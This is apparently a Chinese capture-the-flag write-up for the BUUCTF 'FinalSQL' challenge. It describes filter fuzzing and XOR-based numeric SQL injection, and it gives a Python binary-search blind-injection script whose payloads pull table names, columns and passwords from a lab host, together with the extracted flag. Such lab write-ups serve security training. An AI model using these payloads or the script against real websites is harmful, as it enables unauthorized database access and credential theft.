[极客大挑战 2019]FinalSQL

ops/2024/10/30 19:44:05/

首先进入题目正常思路是登录框存在sql注入,尝试万能密码,提示“你可别被我逮住了,臭弟弟”,应该是被过滤了,做一下FUZZ测试,发现过滤了空格,union等关键字

FUZZ字典已经上传到CSDN了

试了很长时间发现注入点不在这里,看见了题目提示,选择正确的神秘代码即可获得flag,出现了id的注入点,重新FUZZ一下,发现单双引号是没有被过滤的,and被过滤了or没有被过滤,输入单引号出现Error,输入1^0出现NO! Not this! Click others~~~,判断是数字型注入

数字型注入的原始查询语句:SELECT * FROM table_name WHERE id='$id'

使用异或操作来进行注入,1^1=0,0^0=0,1^0=1

我们用两个连续的单引号将查询语句的两个单引号给闭合id=''or(1^0)正确,id=''or(1^1)错误,存在数字型注入

id=''or(length(database())=4)  得到数据库的名字是四个字符

找到注入点注入类型接下来还是用脚本吧

import requests

import time

url="http://5d1aa51f-8d7a-44f9-b222-e46066ebb33a.node5.buuoj.cn:81/search.php?id="

flag=""

i=0

while True:

    i+=1

    begin=32  

    end=126  #ascii码表的可打印字符从32到126

    tmp=(begin+end) //2

    while begin<end:

        print(begin,tmp,end)

        time.sleep(0.1)   #buu的服务器还是停了0.1秒吧,防止429

        #爆库

        #payload="''or(ascii(substr(database(),%d,1))>%d)"%(i,tmp) #第一个%d对于的i,第二个%d对应的tmp,substr(database(),%d,1)获取数据库名称的第i个字符,然后通过ascii()函数将其转换为ASCII码,并与tmp比较。

        #爆表

        #payload="''or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)" % (i,tmp)

        #爆表

        #payload="''or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)" % (i,tmp)

        #爆列

        payload="''or(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)" % (i,tmp)

        r=requests.get(url+payload) #发送一个GET请求到之前定义的url,并将构造的payload附加到URL后面。

        if 'Click' in r.text: 

            begin = tmp+1

            tmp=(begin+end)//2

        else:

            end=tmp

            tmp=(begin+end)//2  #检查响应文本中是否包含"Click",如果包含,说明猜测的字符ASCII值太小,需要增加begin的值;否则,猜测的值太大,需要减小end的值。然后重新计算tmp

    flag+=chr(tmp)

    print(flag)

    if begin==32:

        break

#如果begin的值回到32,这意味着我们到达了字符范围的开始,这通常表示我们已经找到了完整的字符串,因此退出循环。

最后强调一下代码中,begin=tmp+1是必须的,从代码的可执行性角度来说如果 begin 被设置为 tmp,那么在下一个迭代中,tmp 将再次被设置为 (begin + end) // 2,这将导致 tmp 不变,从而陷入无限循环。

从二分法的角度来说当 if 'Click' in r.text: 条件为真时,意味着当前猜测的字符的 ASCII 值小于或等于 tmp。因此,为了继续查找更高的值,我们将 begin 设置为 tmp + 1,从而排除掉 tmp 这个值,并继续在更高的范围内搜索。

用户:root@localhost
数据库名:Click
表名:F1naI1y
字段名:id,username,password
    username:mygod,welcome,site,site,site,site,Syc,finally,flag
    password:cl4y_is_really_amazing,welcome_to_my_blog,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,http://www.cl4y.top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{7c62a615-ec40-44c3-9253-516366f3a908} 

表名:Flaaaaag
字段名:id,fl4gawsl

这题还是有点坑的,表Flaaaaag最像存在flag的表,字段fl4gawsl查了啥也没有


http://www.ppmy.cn/ops/129679.html

相关文章

没有基础,学习HCIE难吗?

首先要清楚&#xff0c;华为 HCIE-Datacom 认证并非局限于特定专业背景&#xff0c;即便对专业基础有一定要求&#xff0c;无论你有无相关学习经历或者工作经验&#xff0c;皆有机会报考并争取通过这一认证。HCIE-Datacom 考试主要由笔试和实验两部分构成&#xff0c;涉及高级路…

【Python爬虫实战】络爬虫完整指南:从TCP/IP协议到爬虫实践

网络爬虫完整指南&#xff1a;从TCP/IP协议到爬虫实践 什么是TCP/IP协议&#xff1f; TCP/IP协议&#xff08;传输控制协议/互联网协议&#xff09; 是互联网通信的核心协议套件&#xff0c;它定义了设备在互联网上如何通信的规则和方式。TCP/IP协议由多个层组成&#xff0c;其…

项目开发的架构模式与异步请求(AJAX)

一、项目开发的架构模式 1. 架构模式的分类 在项目开发中&#xff0c;架构模式通常分为以下两种类型&#xff1a; B/S架构&#xff08;浏览器/服务端&#xff09;C/S架构&#xff08;客户端/服务端&#xff09; 例如&#xff0c;QQ和微信的设计均基于C/S架构。这种架构的本…

计算机毕业设计 | vue+springboot调查问卷管理系统(附源码+论文)

1&#xff0c;研究目的 在进入21世纪以后&#xff0c;互联网得到了蓬勃的发展&#xff0c;电子问卷调查也开始逐渐流行起来。传统纸质问卷和电子问卷相比较后&#xff0c;传统问卷还存在很多弊端&#xff1a; 问卷分发起来比较困难&#xff0c;并且分发试卷耗费大量的金钱和时…

【漏洞复现】74cms v4.2.1 v4.2.129 后台getshell漏洞

漏洞描述 厂商:74cms 下载地址:http://www.74cms.com/download/index.html 关于版本: 新版的74cms采用了tp3.2.3重构了,所以可知底层是tp,74cms新版升级是后台升级的,所以先将将升级方法。 注:此漏洞不用升级至最新版本也可使用。 免责声明 技术文章仅供参考,任何个…

前沿技术与未来发展第一节:C++与机器学习

第六章&#xff1a;前沿技术与未来发展 第一节&#xff1a;C与机器学习 1. C在机器学习中的应用场景 C在机器学习中的应用优势主要体现在高效的内存管理、强大的计算能力和接近底层硬件的灵活性等方面。以下是 C 在机器学习领域的几个主要应用场景&#xff1a; 1.1 深度学习…

Matlab 车牌识别技术

1.1设计内容及要求&#xff1a; 课题研究的主要内容是对数码相机拍摄的车牌&#xff0c;进行基于数字图像处理技术的车牌定位技术和车牌字符分割技术的研究与开发&#xff0c;涉及到图像预处理、车牌定位、倾斜校正、字符分割等方面的知识,总流程图如图1-1所示。 图1-1系统总…

jenkins自动化构建vue(web)项目并部署(项目实战)

安装nodejs插件 系统管理>插件管理 安装完成 配置node 新建任务 根据自己情况来设置是否需要丢弃旧的构建&#xff0c;我保存了5天和5次 cd /var/jenkins_home/workspace/hainan_road_web/SDGS-YHJC/sdgs-ui npm config set registry https://registry.npmmirror.com n…